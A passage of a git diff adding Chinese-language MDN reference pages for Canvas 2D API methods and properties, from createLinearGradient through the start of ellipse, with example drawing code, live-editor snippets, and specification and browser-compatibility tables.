参数

+ +
+
x0
+
起点的 x 轴坐标。
+
y0
+
起点的 y 轴坐标。
+
x1
+
终点的 x 轴坐标。
+
y1
+
终点的 y 轴坐标。
+
+ +

返回值

+ +
+
{{domxref("CanvasGradient")}}
+
一个根据指定线路初始化的线性 CanvasGradient 对象。
+
+ +

示例

+ +

使用线性渐变填充一个矩形

+ +

这个例子使用createLinearGradient() 方法初始化了一个线性渐变。在这个线性渐变中添加了三种色彩。最后,这个渐变被赋值给上下文对应的属性,实现了对矩形的填充。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Create a linear gradient
+// The start gradient point is at x=20, y=0
+// The end gradient point is at x=220, y=0
+var gradient = ctx.createLinearGradient(20,0, 220,0);
+
+// Add three color stops
+gradient.addColorStop(0, 'green');
+gradient.addColorStop(.5, 'cyan');
+gradient.addColorStop(1, 'green');
+
+// Set the fill style and draw a rectangle
+ctx.fillStyle = gradient;
+ctx.fillRect(20, 20, 200, 100);
+ +

结果

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="编辑" />
+  <input id="reset" type="button" value="重置" />
+</div>
+<textarea id="code" class="playable-code">
+var gradient = ctx.createLinearGradient(0,0,200,0);
+gradient.addColorStop(0,"green");
+gradient.addColorStop(1,"white");
+ctx.fillStyle = gradient;
+ctx.fillRect(10,10,200,100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Filling_a_rectangle_with_a_linear_gradient', 700, 180) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createlineargradient", "CanvasRenderingContext2D.createLinearGradient")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.createLinearGradient")}}

+ + + +

Gecko特性说明

+ + + +


+ 参见

+ +
+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/createpattern/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/createpattern/index.html new file mode 100644 index 0000000000..fd6c4d7d0e --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/createpattern/index.html @@ -0,0 +1,200 @@ +--- +title: CanvasRenderingContext2D.createPattern() +slug: Web/API/CanvasRenderingContext2D/createPattern +translation_of: Web/API/CanvasRenderingContext2D/createPattern +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.createPattern() 是 Canvas 2D API 使用指定的图像 ({{domxref("CanvasImageSource")}})创建模式的方法。 它通过repetition参数在指定的方向上重复元图像。此方法返回一个{{domxref("CanvasPattern")}}对象。

+ +

语法

+ +
CanvasPattern ctx.createPattern(image, repetition);
+
+ +

参数

+ +
+
image
+
作为重复图像源的 {{domxref("CanvasImageSource")}} 对象。可以是下列之一: +
    +
  • {{domxref("HTMLImageElement")}} ({{HTMLElement("img")}}),
  • +
  • {{domxref("HTMLVideoElement")}} ({{HTMLElement("video")}}),
  • +
  • {{domxref("HTMLCanvasElement")}} ({{HTMLElement("canvas")}}),
  • +
  • {{domxref("CanvasRenderingContext2D")}},
  • +
  • {{domxref("ImageBitmap")}},
  • +
  • {{domxref("ImageData")}},
  • +
  • {{domxref("Blob")}}.
  • +
+
+
repetition
+
{{domxref("DOMString")}},指定如何重复图像。允许的值有: +
    +
  • "repeat" (both directions),
  • +
  • "repeat-x" (horizontal only),
  • +
  • "repeat-y" (vertical only), 
  • +
  • "no-repeat" (neither).
  • +
+ 如果为空字符串 ('') 或 {{jsxref("null")}} (但不是 {{jsxref("undefined")}}),repetition将被当作"repeat"。
+
+ +

返回值

+ +
+
{{domxref("CanvasPattern")}}
+
描述模式的不透明对象
+
+ +

示例

+ +

使用createPattern方法

+ +

这是一段简单的代码片段,使用 createPattern 方法创建一个指定图像和重复的{{domxref("CanvasPattern")}} 对象。创建完成后,可以使用{{domxref("CanvasPattern.setTransform()")}}方法对图案进行变形。如示例所示,你可以把此模式赋值给当前的{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}},当你使用{{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} 方法时,会在 canvas 上绘制出效果。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+img.onload = function() {
+  var pattern = ctx.createPattern(img, 'repeat');
+  ctx.fillStyle = pattern;
+  ctx.fillRect(0,0,400,400);
+};
+
+ +

编辑以下代码并在线查看canvas变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 380) }}

+ +

规范描述

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createpattern", "CanvasRenderingContext2D.createPattern")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML Canvas 2D Context W3C', "#dom-context-2d-createpattern", "CanvasRenderingContext2D.createPattern")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/createradialgradient/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/createradialgradient/index.html new file mode 100644 index 0000000000..df820f2cbb --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/createradialgradient/index.html @@ -0,0 +1,147 @@ +--- +title: CanvasRenderingContext2D.createRadialGradient() +slug: Web/API/CanvasRenderingContext2D/createRadialGradient +translation_of: Web/API/CanvasRenderingContext2D/createRadialGradient +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.createRadialGradient() 是 Canvas 2D API 根据参数确定两个圆的坐标,绘制放射性渐变的方法。这个方法返回 {{domxref("CanvasGradient")}}。

+ +

语法

+ +
CanvasGradient ctx.createRadialGradient(x0, y0, r0, x1, y1, r1);
+
+ +

参数

+ +
+
x0
+
开始圆形的 x 轴坐标。
+
y0
+
开始圆形的 y 轴坐标。
+
r0
+
开始圆形的半径。
+
x1
+
结束圆形的 x 轴坐标。
+
y1
+
结束圆形的 y 轴坐标。
+
r1
+
结束圆形的半径。
+
+ +

返回值

+ +
+
{{domxref("CanvasGradient")}}
+
由两个指定的圆初始化的放射性 CanvasGradient 对象。
+
+ +

示例

+ +

使用 createRadialGradient 方法

+ +

这是一段简单的代码片段, 使用 createRadialGradient 方法创建一个指定了开始和结束圆的 {{domxref("CanvasGradient")}} 对象。 一旦创建,你可以使用 {{domxref("CanvasGradient.addColorStop()")}} 方法根据指定的偏移和颜色定义一个新的终止。你可以将当前的{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}设置成此渐变, 当使用{{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} 方法时,会在canvas上绘制出效果, 如示例所示。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var gradient = ctx.createRadialGradient(100,100,100,100,100,0);
+gradient.addColorStop(0,"white");
+gradient.addColorStop(1,"green");
+ctx.fillStyle = gradient;
+ctx.fillRect(0,0,200,200);
+
+ +

修改下面的代码并在线查看 canvas的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+var gradient = ctx.createRadialGradient(100,100,100,100,100,0);
+gradient.addColorStop(0,"white");
+gradient.addColorStop(1,"green");
+ctx.fillStyle = gradient;
+ctx.fillRect(0,0,200,200);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createradialgradient", "CanvasRenderingContext2D.createRadialGradient")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.createRadialGradient")}}

+ +
+ +

Gecko-specific 注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/currenttransform/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/currenttransform/index.html new file mode 100644 index 0000000000..75302a7302 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/currenttransform/index.html @@ -0,0 +1,178 @@ +--- +title: CanvasRenderingContext2D.currentTransform +slug: Web/API/CanvasRenderingContext2D/currentTransform +translation_of: Web/API/CanvasRenderingContext2D/currentTransform +--- +
{{APIRef()}} {{SeeCompatTable}}
+ +

CanvasRenderingContext2D.currentTransform 属性,表示当前变换的矩阵。可以通过Canvas2D API 返回或者赋值为{{domxref("SVGMatrix")}}对象。

+ +

语法

+ +
ctx.currentTransform [= value];
+
+ +
+
参考
+
{{domxref("SVGMatrix")}} 对象表示当前变换的矩阵。
+
+ +

示例

+ +

使用currentTransform 的方式

+ +

这是一段简单的代码片段,使用currentTransform属性设置变换矩阵。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var matrix = ctx.currentTransform;
+matrix.a = 1;
+matrix.b = 1;
+matrix.c = 0;
+matrix.d = 1;
+matrix.e = 0;
+matrix.f = 0;
+ctx.currentTransform = matrix;
+ctx.fillRect(0,0,100,100);
+
+ +

修改下面的代码并在线查看canvas的变化(确定使用支持这段代码特征的浏览器,可以查看兼容性列表):

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 420) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-currenttransform", "CanvasRenderingContext2D.currentTransform")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}}
+ {{bug(928150)}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Chrome-specific注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/direction/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/direction/index.html new file mode 100644 index 0000000000..32f4eb6d55 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/direction/index.html @@ -0,0 +1,103 @@ +--- +title: CanvasRenderingContext2D.direction +slug: Web/API/CanvasRenderingContext2D/direction +tags: + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/direction +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

CanvasRenderingContext2D.direction 是Canvas 2D API 用来在绘制文本时,描述当前文本方向的属性。

+ +

语法

+ +
ctx.direction = "ltr" || "rtl" || "inherit";
+
+ +

选项

+ +

有效值:

+ +
+
ltr
+
文本方向从左向右。
+
rtl
+
文本方向从右向左。
+
inherit
+
根据情况继承 {{HTMLElement("canvas")}} 元素或者 {{domxref("Document")}} 。
+
+ +

默认值是inherit。

+ +

示例

+ +

使用direction 属性

+ +

这是一段简单的代码片段,对文本设置不同的direction数值。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.fillText('Hi!', 150, 50);
+ctx.direction = 'rtl';
+ctx.fillText('Hi!', 150, 130);
+ + + + + +

结果

+ +

{{ EmbedLiveSample('Playable_code', 700, 180) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-direction", "CanvasRenderingContext2D.direction")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.direction")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/drawfocusifneeded/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/drawfocusifneeded/index.html new file mode 100644 index 0000000000..1dc87fb0b2 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/drawfocusifneeded/index.html @@ -0,0 +1,133 @@ +--- +title: CanvasRenderingContext2D.drawFocusIfNeeded() +slug: Web/API/CanvasRenderingContext2D/drawFocusIfNeeded +translation_of: Web/API/CanvasRenderingContext2D/drawFocusIfNeeded +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.drawFocusIfNeeded() 是 Canvas 2D API 用来给当前路径或特定路径绘制焦点的方法,如果给定的元素获取了焦点。

+ +

语法

+ +
void ctx.drawFocusIfNeeded(element);
+void ctx.drawFocusIfNeeded(path, element);
+
+ +

参数

+ +
+
element
+
是否需要设置焦点的元素。
+
path
+
{{domxref("Path2D")}} 路径。
+
+ +

示例

+ +

使用 drawFocusIfNeeded 方法

+ +

这是一段使用 drawFocusIfNeeded 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas">
+  <input id="button" type="range" min="1" max="12">
+</canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var button = document.getElementById("button");
+
+button.focus();
+
+ctx.beginPath();
+ctx.rect(10, 10, 30, 30);
+ctx.drawFocusIfNeeded(button);
+
+ +

修改下面的代码并在线查看 canvas的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas">
+<input id="button" type="range" min="1" max="12">
+</canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.rect(10, 10, 30, 30);
+ctx.drawFocusIfNeeded(button);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var button = document.getElementById("button");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+button.focus();
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{EmbedLiveSample('Playable_code', 700, 360)}}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawfocusifneeded", "CanvasRenderingContext2D.drawFocusIfNeeded")}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.drawFocusIfNeeded")}}

+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/drawimage/index.html new file mode 100644 index 0000000000..b0d477e9e8 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/drawimage/index.html @@ -0,0 +1,277 @@ +--- +title: CanvasRenderingContext2D.drawImage() +slug: Web/API/CanvasRenderingContext2D/drawImage +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Refer +translation_of: Web/API/CanvasRenderingContext2D/drawImage +--- +
{{APIRef}}
+ +

Canvas 2D API 中的 CanvasRenderingContext2D.drawImage() 方法提供了多种方式在Canvas上绘制图像。

+ +

语法

+ +
void ctx.drawImage(image, dx, dy);
+void ctx.drawImage(image, dx, dy, dWidth, dHeight);
+void ctx.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight);
+
+ +

drawImage

+ +

参数

+ +
+
image
+
绘制到上下文的元素。允许任何的 canvas 图像源({{domxref("CanvasImageSource")}}),例如:{{domxref("CSSImageValue")}},{{domxref("HTMLImageElement")}},{{domxref("SVGImageElement")}},{{domxref("HTMLVideoElement")}},{{domxref("HTMLCanvasElement")}},{{domxref("ImageBitmap")}} 或者{{domxref("OffscreenCanvas")}}。
+
sx{{optional_inline}}
+
需要绘制到目标上下文中的,image的矩形(裁剪)选择框的左上角 X 轴坐标。
+
sy{{optional_inline}}
+
需要绘制到目标上下文中的,image的矩形(裁剪)选择框的左上角 Y 轴坐标。
+
sWidth{{optional_inline}}
+
需要绘制到目标上下文中的,image的矩形(裁剪)选择框的宽度。如果不说明,整个矩形(裁剪)从坐标的sxsy开始,到image的右下角结束。
+
sHeight{{optional_inline}}
+
需要绘制到目标上下文中的,image的矩形(裁剪)选择框的高度。
+
dx
+
image的左上角在目标canvas上 X 轴坐标。
+
dy
+
image的左上角在目标canvas上 Y 轴坐标。
+
dWidth{{optional_inline}}
+
image在目标canvas上绘制的宽度。 允许对绘制的image进行缩放。 如果不说明, 在绘制时image宽度不会缩放。
+
dHeight{{optional_inline}}
+
image在目标canvas上绘制的高度。 允许对绘制的image进行缩放。 如果不说明, 在绘制时image高度不会缩放。
+
+ +

抛出异常

+ +
+
INDEX_SIZE_ERR
+
如果 canvas 或者图像矩形区域的宽度或高度为0 。
+
INVALID_STATE_ERR
+
图像没有数据。
+
TYPE_MISMATCH_ERR
+
提供的原始元素不支持。
+
NS_ERROR_NOT_AVAILABLE
+
图像尚未加载。使用.complete === true.onload确定何时准备就绪。
+
+ +

示例

+ +

使用 drawImage 方法

+ +

这是一段使用 drawImage 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+<div style="display:none;">
+  <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg"
+       width="300" height="227">
+</div>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);
+
+ + + +

结果

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div style="display:none;">
+  <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227">
+</div>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Drawing_an_image_to_the_canvas', 700, 180) }}

+ +

理解源元素大小

+ +

drawImage()方法在绘制时使用源元素的CSS大小。

+ +

例如,如果加载图像并在其构造函数中指定可选的大小参数,则必须使用所创建实例的naturalWidthnaturalHeight属性来正确计算裁剪和缩放区域等内容,而不是element.widthelement.height。如果元素是{{htmlelement("video")}} 元素,则videoWidthvideoHeight也是如此,依此类推。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+const image = new Image(60, 45); // Using optional size for image
+image.onload = drawImageActualSize; // Draw when image has loaded
+
+// Load an image of intrinsic size 300x227 in CSS pixels
+image.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+
+function drawImageActualSize() {
+  // Use the intrinsic size of image in CSS pixels for the canvas element
+  canvas.width = this.naturalWidth;
+  canvas.height = this.naturalHeight;
+
+  // Will draw the image as 300x227, ignoring the custom size of 60x45
+  // given in the constructor
+  ctx.drawImage(this, 0, 0);
+
+  // To use the custom size we'll have to specify the scale parameters
+  // using the element's width and height properties - lets draw one
+  // on top in the corner:
+  ctx.drawImage(this, 0, 0, this.width, this.height);
+}
+
+ + + +

结果

+ +

{{EmbedLiveSample('Understanding_source_element_size', 700, 260)}}

+ +

规范说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +

{{Compat("api.CanvasRenderingContext2D.drawImage")}}

+ +

兼容性注解

+ + + +

Notes

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/drawwidgetasonscreen/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/drawwidgetasonscreen/index.html new file mode 100644 index 0000000000..4ea928da29 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/drawwidgetasonscreen/index.html @@ -0,0 +1,89 @@ +--- +title: CanvasRenderingContext2D.drawWidgetAsOnScreen() +slug: Web/API/CanvasRenderingContext2D/drawWidgetAsOnScreen +tags: + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/drawWidgetAsOnScreen +--- +
{{APIRef}} {{non-standard_header}}
+ +
这个内部使用非标准的Canvas 2D API 的方法CanvasRenderingContext2D.drawWidgetAsOnScreen()为Canvas(画布)上的窗口提供了根部件。不像{{domxref("CanvasRenderingContext2D.drawWindow", "drawWindow()")}}这个API,它使用操作系统来获取屏幕上部件的快照而不是从Gecko自己的组合中读取
+ +

 

+ +

这个API用在Web内容上。它只支持Windows系统中Chrome进程中使用OMTC的小部件

+ +

句法

+ +
void ctx.drawWidgetAsOnScreen(window);
+
+ +

参数

+ +
+
window
+
 {{domxref("Window")}} 提供.
+
+ +

说明

+ +

不是当前规范或者草案的一部分. 这是一个内部使用的无标准的API.

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatGeckoDesktop(41)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(41)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/drawwindow/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/drawwindow/index.html new file mode 100644 index 0000000000..51c79e5106 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/drawwindow/index.html @@ -0,0 +1,105 @@ +--- +title: CanvasRenderingContext2D.drawWindow() +slug: Web/API/CanvasRenderingContext2D/drawWindow +translation_of: Web/API/CanvasRenderingContext2D/drawWindow +--- +
{{APIRef}} {{deprecated_header}}
+ +

CanvasRenderingContext2D.drawWindow() 是 Canvas 2D API 在 canvas 内部画布上渲染一个窗体区域的已弃用的非标准接口。 用来渲染窗口可视区的内容,忽略窗口的剪切和滚动。

+ +

这个API 不能在 Web 内容中应用。它是一个同步的 API,并且由于它不能对裂变的跨域 iframe (译者注:我也不知道这裂变是个啥),如果你的浏览器扩展中使用这一 API 的话,建议你改用 {{WebExtAPIRef('tabs.captureTab')}} 。如果你的代码是针对 chrome 的话,用来自父进程的 WindowGlobalParent.drawSnapshot  接口可能会更合适。

+ +

语法

+ +
void ctx.drawWindow(window, x, y, w, h, bgColor[, flags]);
+ +

参数

+ +
+
window
+
需要渲染的{{domxref("Window")}} 。
+
x
+
窗体的 X 坐标。
+
y
+
窗体的 Y 坐标。
+
w
+
窗体的宽度。
+
h
+
窗体的高度。
+
bgColor
+
{{domxref("DOMString")}},描述当窗体渲染到canvas之前,进行填充的颜色。 颜色可以是透明/半透明。 它被赋值为CSS 颜色字符串(例如: rgb() 或者 rgba())。
+ 注意: +
    +
  • 如果"rgba(0,0,0,0)"用来当背景色, 图像透明的地方窗体也是透明的。
  • +
  • 顶级的预览文档通常不会是透明的,因为用户的背景色偏好设置会被应用。但是{{HTMLElement("iframe", "iframes")}} 是透明的,如果页面没有设置背景。
  • +
  • 如果不透明的颜色做为背景色, 渲染速度会更快,因为我们不需要计算窗体的透明度。 
  • +
+
+
flags {{optional_inline}}
+
用来更好的控制 drawWindow 。 Flags 可以使用或运算符进行连接。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
DRAWWINDOW_DRAW_CARET0x01绘制时,如果被占用,显示插入符。
DRAWWINDOW_DO_NOT_FLUSH0x02不要清空待定的布局通知,否则会被批量挂起。
DRAWWINDOW_DRAW_VIEW0x04绘制滚动条,并滚动当前的视口。
DRAWWINDOW_USE_WIDGET_LAYERS0x08使用小部件层进行有效的管理。这意味着可以使用硬件加速, 但是实际上会变慢,并且降低品质。不管怎样,它都会更准确地反映已经渲染到屏幕上的像素。
DRAWWINDOW_ASYNC_DECODE_IMAGES0x10不需要同步解码图像 - 绘制我们已经有的。
+
+
+ +

示例

+ +

这个方法在canvas中绘制了一个DOM 窗口的内容快照。例子:

+ +
ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
+
+ +

以像素为单位,相对可视区左上角的矩形框内,使用白色作为背景色,在canvas中绘制当前窗口的内容。如果指定"rgba(255,255,255,0)" 作为颜色,则内容的背景色是透明的(造成绘制速度变慢)。

+ +

使用纯白色"rgb(255,255,255)"或者透明颜色之外的任何背景,都不是一个好的主意。就像所有浏览器要做的,多数网站期望他们界面透明的部分绘制到白色背景上。

+ +

使用这个方法,可以使用任意内容填充隐藏的IFRAME(例如:CSS-styled HTML text 或者 SVG)并绘制到canvas中。为了适应当前的变形,它会缩放、旋转。

+ +

Ted Mielczarek 的 标签预览 扩展使用这种技术,在 chrome 中提供网页的缩略图。源代码可以作为参考。

+ +

规范描述

+ +

目前的规范或者草案不包含此章节。这是一个不标准的、仅供内部使用的API。

+ +

浏览器兼容性

+ +

{{Compat("api.CanvasRenderingContext2D.drawWindow")}}
+ 参见

+ +
+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/ellipse/index.html new file mode 100644 index 0000000000..d46c4acb87 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/ellipse/index.html @@ -0,0 +1,140 @@ +--- +title: CanvasRenderingContext2D.ellipse() +slug: Web/API/CanvasRenderingContext2D/ellipse +tags: + - API + - Canvas + - CanvasRenderingContext2D +translation_of: Web/API/CanvasRenderingContext2D/ellipse +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

CanvasRenderingContext2D.ellipse() 是 Canvas 2D API 添加椭圆路径的方法。椭圆的圆心在(x,y)位置,半径分别是radiusX 和 radiusY ,按照anticlockwise(默认顺时针)指定的方向,从 startAngle  开始绘制,到 endAngle 结束。

+ +

语法

+ +
void ctx.ellipse(x, y, radiusX, radiusY, rotation, startAngle, endAngle, anticlockwise);
+
+ +

参数

+ +
+
x
+
椭圆圆心的 x 轴坐标。
+
y
+
椭圆圆心的 y 轴坐标。
+
radiusX
+
椭圆长轴的半径。
+
radiusY
+
椭圆短轴的半径。
+
rotation
+
